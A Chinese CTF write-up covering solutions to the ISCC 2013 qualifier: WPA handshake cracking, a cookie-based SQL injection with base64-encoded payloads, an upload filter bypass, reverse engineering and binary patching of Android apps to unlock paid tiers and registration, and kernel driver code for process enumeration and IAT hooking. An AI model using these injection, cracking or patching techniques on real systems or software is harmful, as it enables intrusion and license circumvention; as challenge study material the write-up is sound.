关于ISCC2013的思路整理

这一次ISCC初赛,感觉自己变牛逼了一点,本来想把所有题作完再来整理的,结果内核突然出了好几道超变态的题。顿时没有心思做了。

以前都是分大体写,这次写在一起吧。

//======================================格叽格叽==========================================

入门题

很恶心的选择题,百度 google 各凭本事,总之做了一统,什么都没有记住。

基础题

小豪的健忘症

就是一个hidden标签,没有什么好说的。

大牛们的黑历史

一个莫名其妙的人的照片,拿去google上搜一下,得出名字就好了。

如何得到一个网站的后台地址

这个考察了google hack 使用下面的语句就可以了

inurl:sae.bit   inurl:admin

如何备份数据

考察一个简单的cp语句

cp 源地址/*.data 目的地址

穿越

给出了一个正则表达式,和一个摩尔密码。

这里大括号是重复次数,小括号是分组,这个正则表达的是facebook的网址

w{3}.(?<a>t)w(?<b>i)\k<a>{2}er.com

这个摩尔密码表达的是一个用户的名字

. . . . /./. . -/. - ./. . -/. . ./.
找到这个用户发的一条状态,是heiligabend1992

H(?<a>e)(?<b>i)l\k<b>gab\k<a>nd[1][9]{2}[2]

是1992年的平安夜


你的鼻子怎么样

这个简单抓一下包,就出来了

隔壁宿舍的无线密码

这题给了握手包,要求破解wifi的密码。

下载一个Elcomsoft Wireless Security Auditor,直接开始跑,如果包的后缀不对可以使用wireshark转一下。

根据提示密码与生日有关,EWSA有一个掩码功能,或者下一个生日字典都可以跑出来。

看看你的基本功

就是一段机器码,随便放到debug里面跑,或者找个工具翻译出来,手动模拟一下都可以得到结果。

C语言进阶

考察一个基本的溢出

name     EBP   EIP
xiaohaoA  AAAA AABB DDDDDDDDDDDDDDDD

简单的破解

很简单,随便逆向一下就可以。

简单的加密算法

一个换位加密密码,百度一下,了解思路就可以手动破解出来。

顺便写了一个加密的代码。

#include <cassert>
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include <cstring>
#include <sstream>
#include <vector>
using namespace std;


int main()
{
    string source = "ZHUXINXIANQUANJULEBUWANGLUOANQUANJTNSAIYUANMANCHENGGONG";
    string key = "STUPIDRAGON";
    vector<char> map[37];
    for (int i=0;i<37;i++) map[i].clear();
    for (int i=0;i<source.length();i++){

        map[ key[i%11]-'A' ].push_back(source[i]);
    }
    for (int i=0;i<37;i++)
        for (int j=0;j<map[i].size();j++)
            cout<<map[i][j];
    cout<<endl;


    string a="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGINUNLNC";
    string b="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGTNUNLNC";
    for (int i=0;i<a.length();i++)
        if (a[i]!=b[i]) cout<<i<<endl;

    return 0;
}

脚本题

真的和cookie有关系

题目给了一段Base64代码,解开后是i am the key,看到cookie里面有一个user项,

把它放进去key就出来了。

输不完的验证码

页面会不停的刷新,让你无法输完验证码。刷新的代码分别是一个mate标签和一段js。

一开始想把页面down到本地修改一下提交,不过涉及到跨域post的问题。

最后使用IE浏览器禁止mate标签和js顺利解决

有字典就是感觉不一样

就是跑字典啊,自己实现或者用工具都可以。

给的用户名和密码都是MD5加密的,不用解密直接跑,得到正确的MD5再进行解密。

搞笑图片大收集

一个图片上传漏洞,这种一般随便加点分号空格00什么的就过了。

没什么能阻止我们变身admin

一道cookie注入的题,根据题目提示使用guest guest登陆。

发现cookie中有user password data这几项,其中后两个被base64加密了。

尝试了一下发现,data没有惊醒过滤,但是注入语句要先转成base64

给data赋值单引号报错。

Jw==
把user赋值admin data赋值' or '1'='1,会出现wecome admin

JyBvciAnMScgPSAnMQ==
这时候data里面的数据就会变成admin密码的base64.

破解

简单的看汇编代码

很简单的一道题,随便逆一下就可以看到key。

普通的一道破解题

先使用PEID看了一下,编译器是bloodshed,非常血腥。

先找到了结果返回的字符串,看看是不是直接把key输出,结果这段的意思是“就是这个”

BE CD CA C7 D5 E2 B8 F6 21 7E
看来还是需要找到真正的密码,那ida F5大法还原了一下生成key的函数。

int __cdecl main(int argc, const char **argv, const char *envp)
{
  int v4; // eax@1
  _BYTE *v5; // edx@5
  int v6; // eax@10
  int v7; // eax@11
  signed int v8; // [sp+1Ch] [bp-524Ch]@1
  _BYTE v9[10000]; // [sp+20h] [bp-5248h]@1
  char v10; // [sp+2730h] [bp-2B38h]@1
  char v11; // [sp+4E50h] [bp-418h]@1
  size_t v12; // [sp+5250h] [bp-18h]@1
  int v13; // [sp+5248h] [bp-20h]@1
  signed int v14; // [sp+524Ch] [bp-1Ch]@1
  int v15; // [sp+5254h] [bp-14h]@1
  signed int v16; // [sp+525Ch] [bp-Ch]@1
  int v17; // [sp+5258h] [bp-10h]@3
  _BYTE v18[8]; // [sp+5260h] [bp-8h]@5
  int v19; // [sp+5244h] [bp-24h]@7

  v8 = 16;
  __main();
  memcpy(v9, aK0lzyz9_e0Vwep, 0x2710u);
  memset(&v10, 0, 0x2712u);
  v4 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)"请输入密码~");
  unknown_libname_91(v4, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_(&dword_448460, &v11);
  v12 = strlen(&v11);
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 41;
  while ( v16 <= 60 )
  {
    v17 = 1;
    while ( v16 + 5 >= v17 )
    {
      v5 = &v18[v13++ - 1040];
      if ( *v5 != v9[v17 * v16] )
        v14 = 1;
      ++v19;
      ++v17;
    }
    v13 = v13 - v15++ - 1;
    v16 += 6;
  }
  if ( v14 )
  {
    v7 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E39);
    unknown_libname_91(v7, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  }
  else
  {
    v6 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E2E);
    unknown_libname_91(v6, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  }
  system("pause");
  return 0;
}
把乱七八糟的东西删一删找到了主要的函数,运行一下得出key

A{?ZR;J`aEN's3sFn#h>0{jElf0];i'HEil)(qzo0>}&m4QL;s.D!9R`!lOGD05rDi,]b0}K%aeI]LfveL|EE'1SIC:Kql'ZFNy~60Jw)Fy)UEa;Ssy2YS%j2[qqHCq=M0n9iF^9j0wu1ou+}TLbg:o7..<4]To~1p58o1Q,C2^FiUa2RPHkF{8i=Kd7q?X{nf9:mx,gFd]:K{YbUS#r@h
这时却发现这个key不正确,拿od单步一下,发现有一位错了,改正即可。

求帮忙解密课件

这题是一个典型的RSA加密。

同样使用F5大法,这时候发现Hex-Rays1.0对int64兼容的不算特别好,而高版本网上又不提供下载。

Better recognition of 64-bit idioms, example 2

v21 = PageSize * (_DWORD)a6 - a2;
v22 = __MKCADD__(v21, qword_6992C7E0);
*(_DWORD *)&qword_6992C7E0 = v21 + qword_6992C7E0;
*((_DWORD *)&qword_6992C7E0 + 1) += ((unsigned __int64)PageSize * a6 >> 32) - ((unsigned int)(PageSize * (_DWORD)a6 < (_DWORD)a2) + *((_DWORD *)&a2 + 1)) + v22;    

qword_6992C7E0 += PageSize * a6 - a2;
这些宏理应定义在IDA的defs.h中,可是defs.h却很不负责任的这样定义,或许在IDA高版本下有定义。

#define __ROL__(x, y) __rotl__(x, y)       // Rotate left
#define __ROR__(x, y) __rotr__(x, y)       // Rotate right
#define __RCL__(x, y) invalid_operation    // Rotate left thru carry
#define __RCR__(x, y) invalid_operation    // Rotate right thru carry
#define __MKCADD__(x, y) invalid_operation // Generate carry flag for an addition
#define __MKOADD__(x, y) invalid_operation // Generate overflow flag for an addition
#define __MKCSHL__(x, y) invalid_operation // Generate carry flag for a shift left
#define __MKCSHR__(x, y) invalid_operation // Generate carry flag for a shift right
#define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL
#define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR
#define __SETO__(x, y)   invalid_operation // Generate overflow flags for (x-y)
不过这并不重要,把这些乱七八糟的东西删掉,把核心代码还原一下。

int main()
{
    source=1;
    temp=1;
    key=1;
    n =9986801107LL;

    char x;
    cin>>x;
    k = x -1;
    for (int i=1;i<=54517;++i){
        temp = key;
        key = (key + temp*k) % n;
    }
    while (key!=0){
        cout<<key % 10;
        key /= 10;
    }
    cout<<endl;
}

得到算法大概是这样,算法把每两个字符的ascii码进行加密,待加密数字asciiA*1000+asciiB

n    9986801107 = 99877 * 99991
x^d % n  中 d = 54517    (q-1)(p-1) = 9986601240
m * d mod (q-1)(p-1) = 1   得出m=732733

这里计算m的算法

比如rsa算法中 已知 p=101, q=97, e=13, 求d
 N=p*q=101*97=9797
φ(N)=(p-1)(q-1)=9600  欧拉函数
(13,9600)=1
9600=13*738+6    辗转相除法
13=6*2+1
1=13-2*6
 =13-2*(9600-13*738)
 =13*1477-2*9600
e=13,d=1477这里的e,d就是刚说的e1和e2
根据这些很容易的可以写出解密函数,之所以使用java是因为他的大数类或者使用半加法也可以在int64范围内得出正确结果

import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.util.Scanner;


public class main {
    public static BigInteger RSAcode(BigInteger x,BigInteger d,BigInteger n){
        BigInteger ans = new BigInteger("1");
        BigInteger two = new BigInteger("2");
        while (!d.equals(BigInteger.ZERO)){
            if (d.mod(two).equals(BigInteger.ONE)){
                ans = ans.multiply(x).mod(n);
            }
            x = x.multiply(x).mod(n);
            d = d.divide(two);
        }
        return ans;
    }
    public static void main(String args[])
    {
        BigInteger n = new BigInteger("9986801107");
        BigInteger d = new BigInteger("54517");
        BigInteger m = new BigInteger("732733");
        BigInteger x = new BigInteger("49049");    
        
        System.out.println("Secret key:49049 9986801107");
        Scanner in = new Scanner(System.in);
        String code = in.nextLine();
        char[] tcode = new char [10];
        String ttcode = null;
        int icode;
        char ccode;
        for (int i=0;i<code.length();i+=10){
            for (int j=0;j<10;j++){
                tcode[10-j-1]=code.charAt(j+i);
                ttcode = String.valueOf(tcode);
                //System.out.println(ttcode);
            }
            icode = Integer.parseInt(RSAcode(new BigInteger(ttcode),m,n).toString());
            if (1000<icode){
                ccode = (char) (icode / 1000);
                System.out.print(ccode);
                ccode = (char) (icode % 1000);
                System.out.print(ccode);
            }
            else {
                ccode = (char) (icode);
                System.out.print(ccode);
            }
        }
        //System.out.println(RSAcode(x,d,n).toString());
        //System.out.println(RSAcode(RSAcode(x,d,n),m,n).toString());
    }
}

这用了一个壳~好像蛮麻烦的~

这个加了一个壳,首先不想把它脱掉了,太麻烦。这个可很可能有反动态调试的功能,并且修改了资源表。

所以使用IDA静态调试的时候,并无法定位到具体某个函数。使用od动态调试的时候,需要使用hideOD这个插件。

其实因为程序很小,随便单步几下就可以找到关键代码了。其实正确方法是在资源表(.rsc)下内存访问断点,

然后再壳还原资源表的时候,就可以断下了。

找到了关键代码

004010F9  |> /8B0E          /mov     ecx, dword ptr [esi]
004010FB  |. |B8 93244992   |mov     eax, 92492493
00401100  |. |83C1 0A       |add     ecx, 0A
00401103  |. |F7E9          |imul    ecx
00401105  |. |03D1          |add     edx, ecx
00401107  |. |C1FA 02       |sar     edx, 2
0040110A  |. |8BCA          |mov     ecx, edx
0040110C  |. |C1E9 1F       |shr     ecx, 1F
0040110F  |. |03D1          |add     edx, ecx
00401111  |. |8BCA          |mov     ecx, edx
00401113  |. |890E          |mov     dword ptr [esi], ecx
00401115  |. |8B46 04       |mov     eax, dword ptr [esi+4]
00401118  |. |99            |cdq
00401119  |. |F7F9          |idiv    ecx
0040111B  |. |52            |push    edx
0040111C  |. |68 20304000   |push    00403020                        ;  ASCII "%d"
00401121  |. |8916          |mov     dword ptr [esi], edx
00401123  |. |FFD5          |call    ebp
00401125  |. |83C4 08       |add     esp, 8
00401128  |. |83C6 04       |add     esi, 4
0040112B  |. |4F            |dec     edi
0040112C  |.^\75 CB         \jnz     short 004010F9

是一个循环回一个数组进行处理,先看一下这个数组是什么

57 65 64 20                    
4d 61 79 20
31 35 20
31 30 3a 35 37 3a 33 32 20
32 30 31 33
0a

Wed May 15 20:43:32 2013
这样看来,这个加密算法是通过取得一个时间来随机生成key。

再来看程序怎样对这段代码进行变换。


这段很痛疼的代码其实是对整数除法的一个编译器优化,

http://www.pediy.com/kssd/pediy11/116974.html

004010FB  |. |B8 93244992   |mov     eax, 92492493
00401100  |. |83C1 0A       |add     ecx, 0A
00401103  |. |F7E9          |imul    ecx
00401105  |. |03D1          |add     edx, ecx
00401107  |. |C1FA 02       |sar     edx, 2
0040110A  |. |8BCA          |mov     ecx, edx
其他的都很好懂,使用c++实现一下

#include "stdafx.h"
#include <time.h>
#include <string.h>

int main(int argc, char* argv[])
{
	char source[31];
	unsigned int c,a,d;
	memset(source,0,sizeof(source));
	time_t t = time(0);
	strftime(source,sizeof(source),"%a %b %m %X %Y\n",localtime(&t));
	printf("%s\n",source);
	for (int i=0;i<30;i++){
		c = source[i];
		c = c + 10;
 
		d = c / 7;
		c = d;

		source[i] = c;
		a = source[i+1];
		d = a % c;
		a = a / c;

		printf("%d",d);
	}
	return 0;
}


付费版太贵了

这是一道android的逆向,要求是显示原来是隐藏的两个按钮,主要需要用到这四个工具

dex2jar:    将apk中的class.dex文件反编译为jar包
auto-signed:给修改后的APK签名
jd_gui:     将jar反编译为.java文件
apktool:    提取apk中的资源文件
很轻易的看到了java源代码,

代码中反复调用setVisibility(0)来进行隐藏

package com.bfs.crackme;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.widget.Button;

public class MainActivity extends Activity
{
  private Button a;
  private Button b;
  private Button c;

  private int a(String paramString)
  {
    try
    {
      int i = Integer.parseInt(d.a("droider", paramString));
      return i;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return 0;
  }

  private String a(int paramInt)
  {
    try
    {
      String str = createPackageContext("com.droider.appkey", 2).getString(paramInt);
      return str;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return "";
  }

  private boolean a()
  {
    String str = a(2130903041);
    return (str != null) && (str.length() != 0);
  }

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    int i;
    if (!a())
    {
      i = 2130968577;
      setTitle(getString(i));
      this.a = ((Button)findViewById(2131165184));
      this.b = ((Button)findViewById(2131165185));
      this.c = ((Button)findViewById(2131165186));
      if (i != 2130968578)
        break label150;
      this.b.setVisibility(0);
    }
    while (true)
    {
      this.a.setOnClickListener(new a(this));
      this.b.setOnClickListener(new b(this));
      this.c.setOnClickListener(new c(this));
      return;
      i = a(a(2130903041));
      if (i != 0)
        break;
      i = 2130968577;                        //
      break;
      label150: if (i == 2130968579)         //0x7f040003
      {
        this.b.setVisibility(0);
        this.c.setVisibility(0);
      }
    }
  }

  public boolean onCreateOptionsMenu(Menu paramMenu)
  {
    getMenuInflater().inflate(2131099648, paramMenu);
    return true;
  }
}
layout/activity_main.xml中也设置了,按钮隐藏
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <Button android:id="@id/button_free" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="42.0dip" android:text="免费版入口" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" />
    <Button android:id="@id/button_advanced" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="48.0dip" android:text="高级版入口" android:layout_below="@id/button_free" android:layout_alignLeft="@id/button_free" />
    <Button android:id="@id/button_pro" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="60.0dip" android:text="专业版入口" android:layout_below="@id/button_advanced" android:layout_alignLeft="@id/button_advanced" />
</RelativeLayout>

修改xml中的属性很简单,但是为了重打包方便,直接修改apktools 逆向出的smail文件。
对照这里,找到了调用setVisibility的语句

http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html

其中V0被当做setVisibility参数,而且所有的setVisibility()均使用V0作为参数,我门只需要在开头修改给V0赋值的语句就可以了

invoke-virtual {v0, v2}, Landroid/widget/Button;->setVisibility(I)V
修改好之后使用apktool重打包,并使用auto-signed签名就大功告成了。

这里我使用java带的keytool进行签名没有成功,原因不明。

注册很麻烦

依旧是一道android的逆向,不过使用了高级一点JNI的技术。

核心代码写在一个OS文件中,在使用loadlibrary调用进来,在java代码中没有找到什么有用的信息

除了这个,我们的目标是企业版也就是3

if (i == 1)
    str = "-正式版";
else if (i == 2)
    str = "-专业版";
else if (i == 3)
    str = "-企业版";
else if (i == 4)
    str = "-专供版";
else
    str = "-未知版";

使用IDA打开这个OS文件,发现是ARM汇编,和常规汇编有所不同。

首先发现了4段md5,应该是对应上面4种版本的注册码

.rodata:00003908 a25d55ad283aa40 DCB "25d55ad283aa400af464c76d713c07ad",0
.rodata:00003908                                         ; DATA XREF: n1+80o
.rodata:00003929                 ALIGN 0x10
.rodata:00003930 a08e0750210f663 DCB "08e0750210f66396eb83957973705aad",0
.rodata:00003930                                         ; DATA XREF: n1+98o
.rodata:00003951                 ALIGN 8
.rodata:00003958 aB2db1185c9e5b8 DCB "b2db1185c9e5b88d9b70d7b3278a4947",0
.rodata:00003958                                         ; DATA XREF: n1+B0o
.rodata:00003979                 ALIGN 0x10
.rodata:00003980 a18e56d777d194c DCB "18e56d777d194c4d589046d62801501c",0
.rodata:00003980                                         ; DATA XREF: n1+C8o
解密之后,应该就是4个版本的注册码,填进去貌似就可以注册了

25d55ad283aa400af464c76d713c07ad    12345678
08e0750210f66396eb83957973705aad    22345678
b2db1185c9e5b88d9b70d7b3278a4947    32345678
18e56d777d194c4d589046d62801501c    42345678
不过本着精益求精的原则,还需要把认证流程绕过去,在N1函数中,他屡次调用了setVaule函数,这个函数是用来设定注册状态的。

我们只要把所有的setVaule函数的传参全部改成3就可以了。每次调用SetValue都通过R1来传递参数

找出每次setvaule的地址
00001390    05 10 a0 e1   MOV     R1, R5
000013A0    04 10 A0 E1   MOV     R1, R4
先改两个,其他不管
Mov R1 3    03 10 A0 E3
二进制打开os文件,找到固定地址,修改之,成功。
其实这样改还有不足之处,但是里面逻辑很复杂,懒得去管了。

内核题

因为内核实在是不会,所以都是上网抄的代码,让我解释也解释不清楚。所以只把源代码贴上来。

简单的驱动编写

没啥好说的一个简单的Hello world

#include <ntddk.h>


NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp);
VOID MyUnload(IN PDRIVER_OBJECT DriverObject0);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
		PDEVICE_OBJECT mydevice;//定义设备对象
		UNICODE_STRING devicename;//定义设备名称
		UNICODE_STRING symboliclinkname;//定义符号连接名称
		RtlInitUnicodeString(&devicename,L"\\Device\\mydevice");//初始化设备名称
		RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化符号连接名称
		//创建常规的设备对象
		if(STATUS_SUCCESS == IoCreateDevice(
				theDriverObject,//驱动对象
				0,
				&devicename,//设备名称
				FILE_DEVICE_UNKNOWN,//类型
				0,
				FALSE,
				&mydevice//设备对象
		))
		{
				DbgPrint("create a device\n");
		}
		
		//创建驱动设备符号链接
		if(STATUS_SUCCESS  == IoCreateSymbolicLink(
				&symboliclinkname,//符号链接名称
				&devicename//设备名称
		))
		{
				DbgPrint("create a symbolicLink\n");
		}
	
		
    theDriverObject->DriverUnload = MyUnload;
    
    //设置IRP派遣例程和卸载例程  
    theDriverObject->MajorFunction[IRP_MJ_CREATE]= 
    theDriverObject->MajorFunction[IRP_MJ_CLOSE] = 
    theDriverObject->MajorFunction[IRP_MJ_WRITE] = 
    theDriverObject->MajorFunction[IRP_MJ_READ] = 
    theDriverObject->MajorFunction[IRP_MJ_CLOSE] = 
    theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = myDispatch;
    

    return STATUS_SUCCESS;
}

NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp)  
{  
    NTSTATUS ntStatus=STATUS_SUCCESS;  
    PIO_STACK_LOCATION IrpStack=NULL;   //IRP堆栈  
    ULONG IoControlCodes=0;             //I/O控制代码  

    //设置IRP状态  
    pIrp->IoStatus.Status=STATUS_SUCCESS;  
    pIrp->IoStatus.Information=0;  


    IrpStack=IoGetCurrentIrpStackLocation(pIrp);    //得到当前调用者的IRP  

    switch (IrpStack->MajorFunction)  
    {  
            case IRP_MJ_CREATE:  
                        DbgPrint("create\n");  
                 break;  

            case IRP_MJ_CLOSE:  
                        DbgPrint("close\n");
                 break;  

            default:  
            		 DbgPrint("other\n");
                 break;  
    }  

    ntStatus=pIrp->IoStatus.Status;  
    IoCompleteRequest(pIrp,IO_NO_INCREMENT);  

    return ntStatus;  
}  


VOID MyUnload(IN PDRIVER_OBJECT DriverObject0)
{
		//c语言变量一定要放最前面...
    PDEVICE_OBJECT  temp1;
		PDEVICE_OBJECT  temp2;
		UNICODE_STRING symboliclinkname;//定义符号连接名称
		
    DbgPrint("unload\n");
		RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化连接符号
		IoDeleteSymbolicLink(&symboliclinkname);//删除符号连接
		if(DriverObject0)
		{
				temp1=DriverObject0->DeviceObject;
				//删除设备链表
				while(temp1)
				{
					temp2=temp1;
					temp1=temp1->NextDevice;
					IoDeleteDevice(temp2);//删除设备
					DbgPrint("upload a decive...\n");
				}
 		}
}


"凭空"出现的指令

考察了GS   security cookie 安全机制,在sources中将其关掉即可。

BUFFER_OVERFLOW_CHECKS=0

又见隐藏进程

使用了PSPcidtable枚举进程的方法

#include <ntddk.h>

typedef struct _OBJECT_HEADER {
    union {
        struct {
            LONG PointerCount;
            LONG HandleCount;
        };
        LIST_ENTRY Entry;
    };
    POBJECT_TYPE Type;
    UCHAR NameInfoOffset;
    UCHAR HandleInfoOffset;
    UCHAR QuotaInfoOffset;
    UCHAR Flags;

    union {
        //POBJECT_CREATE_INFORMATION ObjectCreateInfo;
        PVOID QuotaBlockCharged;
    };

    PSECURITY_DESCRIPTOR SecurityDescriptor;

    QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;

#define OBJECT_TO_OBJECT_HEADER(obj)         CONTAINING_RECORD( (obj), OBJECT_HEADER, Body )

#define OBJECT_BODY_TO_TYPE 0x10

#define TYPE 0X08               //_OBJECT_HEADER中的偏移
#define NEXTFREETABLEENTRY 0X04 //_HANDLE_TABLE_ENTRY中的偏移
#define IMAGEFILENAME 0X174     //_EPROCESS中的偏移
#define FLAGS 0x248             //_EPROCESS中的偏移
#define UniqueProcessID 0x084   //_EPROCESS中的偏移
ULONG GetProcessType()
{
    ULONG eproc;
    ULONG type;
    ULONG total;

    eproc = (ULONG)PsGetCurrentProcess();//PsGetCurrentProcess获取当前活动进程的地址,实际上就是对象(体)指针
    eproc = (ULONG)OBJECT_TO_OBJECT_HEADER(eproc);
    type = *(PULONG)(eproc+TYPE);

    return type;
}

ULONG GetPspCidTable()
{
    ULONG PspCidTable=0;
    ULONG FuncAddr=0;
    UNICODE_STRING FuncName={0};

    RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId");
    FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName);
    for (;;FuncAddr++)
    {
        if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6))))
        {
            PspCidTable=*(PULONG)(FuncAddr+2);
            break;
        }

    }

    return PspCidTable;
}

//从3级表开始遍历
ULONG BrowseTableL3(ULONG TableAddr)
{
    ULONG Object=0;
    ULONG ItemCount=511;
    ULONG processtype,type;
    ULONG flags;
    do
    {
        TableAddr+=8; // 跳过前面的无效句柄
        Object=*(PULONG)TableAddr;
        Object&=0xfffffff8; // 最后3位清零, 得到EPROCESS结构地址

        if (Object==0)
        {
            continue;
        }
        type = (*(PULONG)(Object-OBJECT_BODY_TO_TYPE));
        processtype = GetProcessType();
        if (type == processtype) // 如果是进程对象
        {
            flags=*(PULONG)((ULONG)Object+FLAGS);
			/*__asm{
				int 3;
			}*/
            if((flags&0xc)!=0xc){ // 如果不是死进程
                KdPrint(("ImageName: %20s ", (char*)Object+IMAGEFILENAME));
				KdPrint((  "ProcessID: 0x%02X%02X%02X%02X\n", (UCHAR)((char*)Object+UniqueProcessID)[3] ,
											(UCHAR)((char*)Object+UniqueProcessID)[2],
											(UCHAR)((char*)Object+UniqueProcessID)[1],
											(UCHAR)((char*)Object+UniqueProcessID)[0] ));
			}	
		}
    } while (--ItemCount>0);

    return 0;
}

//从二级表开始遍历
ULONG BrowseTableL2(ULONG TableAddr)
{
    do
    {
        BrowseTableL3(*(PULONG)TableAddr);
        TableAddr+=4;
    } while ((*(PULONG)TableAddr)!=0);

    return 0;
}

//从1级表开始遍历
ULONG BrowseTableL1(ULONG TableAddr)
{
    do
    {
        BrowseTableL2(*(PULONG)TableAddr);
        TableAddr+=4;
    } while ((*(PULONG)TableAddr)!=0);

    return 0;
}

VOID RefreshProcessByPspCidTable()
{
    ULONG PspCidTable=0;
    ULONG HandleTable=0;
    ULONG TableCode=0;
    ULONG flag=0;

    PspCidTable=GetPspCidTable();
    HandleTable=*(PULONG)PspCidTable;
    TableCode=*(PULONG)HandleTable;
    flag=TableCode&3;
    TableCode&=0xfffffffc;

    switch (flag)
    {
    case 0:
        BrowseTableL3(TableCode);
        break;
    case 1:
        BrowseTableL2(TableCode);
        break;
    case 2:
        BrowseTableL1(TableCode);
        break;
    }
}

VOID
DriverUnload(
             IN PDRIVER_OBJECT DriverObject
             )
{
    KdPrint(("DriverUnload!"));
}

NTSTATUS
DriverEntry(
            PDRIVER_OBJECT DriverObject,
            PUNICODE_STRING RegistryPath
            )
{
    NTSTATUS status = STATUS_SUCCESS;
    KdPrint(("Enter DriverEntry!\n"));
    DriverObject->DriverUnload = DriverUnload;
    RefreshProcessByPspCidTable();
    return status;
}


Windows的PE文件

思路是在内核中枚举模块名称,得到其基址后修改其输入表

#include "ntddk.h"

#include "hookiat.h"

#pragma comment(lib,"ntdll.lib")

HANDLE  hSection;
PVOID g_OriginalPsGetCurrentProcessId = NULL;
PVOID g_FunctionInMemory = NULL;
NTSTATUS status;

typedef HANDLE (*PSGETCURRENTPROCESSID)();

PVOID GetDriverBaseAdress(IN char* driverName)
{
	ULONG size,index;
	PULONG buf;
	PSYSTEM_MODULE_INFORMATION module;
	PVOID driverAddress=0;

	ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);

	if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
	{
		DbgPrint("failed alloc memory failed  \n");
		return 0;
	}
     
	status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
	if(!NT_SUCCESS( status ))
	{
       DbgPrint("failed  query\n");
	   return 0;
	}

	module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
	
	for (index = 0; index < *buf; index++)
	if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)  
	{
		driverAddress = module[index].Base;
        DbgPrint("Module found at:%x\n",driverAddress);
	}
	ExFreePool(buf);
	return driverAddress;
}

PVOID CreateMapFileAndReturnBaseAddress(IN PUNICODE_STRING pDriverName)
{
	HANDLE  hFile;
//HANDLE  hSection看需要在别的地方ZWclose(hSection),若不用.那定义成局部变量就可以了,或者做为数参数传递
    char *pszModName;
    PVOID MapFileBaseAddress = NULL;
	SIZE_T size=0;
    IO_STATUS_BLOCK stataus;
    OBJECT_ATTRIBUTES oa ;
    
	InitializeObjectAttributes(
    &oa,
	pDriverName,
    OBJ_CASE_INSENSITIVE,
    0,
    0
    );

ZwOpenFile(&hFile, 
		   FILE_EXECUTE | SYNCHRONIZE, 
		   &oa,
		   &stataus, 
		   FILE_SHARE_READ, 
		   FILE_SYNCHRONOUS_IO_NONALERT);
 oa.ObjectName = 0;

 ZwCreateSection(&hSection,
				SECTION_ALL_ACCESS,
				&oa,
				0,
				PAGE_EXECUTE, 
				SEC_IMAGE, 
				hFile);
 ZwMapViewOfSection(hSection,
				   PsGetCurrentProcessId(),
				   &MapFileBaseAddress, 
				   0, 
				   1024,
				   0, 
				   &size,
				   ViewShare,
				   MEM_TOP_DOWN, 
				   PAGE_READWRITE); 
ZwClose(hFile);
DbgPrint("baseadress:%x\n",MapFileBaseAddress);
return MapFileBaseAddress;
	
}	
	

   DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc)
	{
    
	IMAGE_DOS_HEADER * dosheader;
	IMAGE_OPTIONAL_HEADER * optheader;
    PVOID BaseAddress = NULL;
    UNICODE_STRING driverName;
    
	RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\drivers\\ISCC2013Kernel4.sys");
    BaseAddress=  CreateMapFileAndReturnBaseAddress(&driverName);
    *hMod = BaseAddress;
    
	dosheader= (IMAGE_DOS_HEADER *)BaseAddress;
    optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24);
    *pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    if( NULL == (*pImportDesc)) return 0;
	else
		return 1;
    DbgPrint("DataEntryAddress:%x\n",pImportDesc);
	
	}
	
	
   
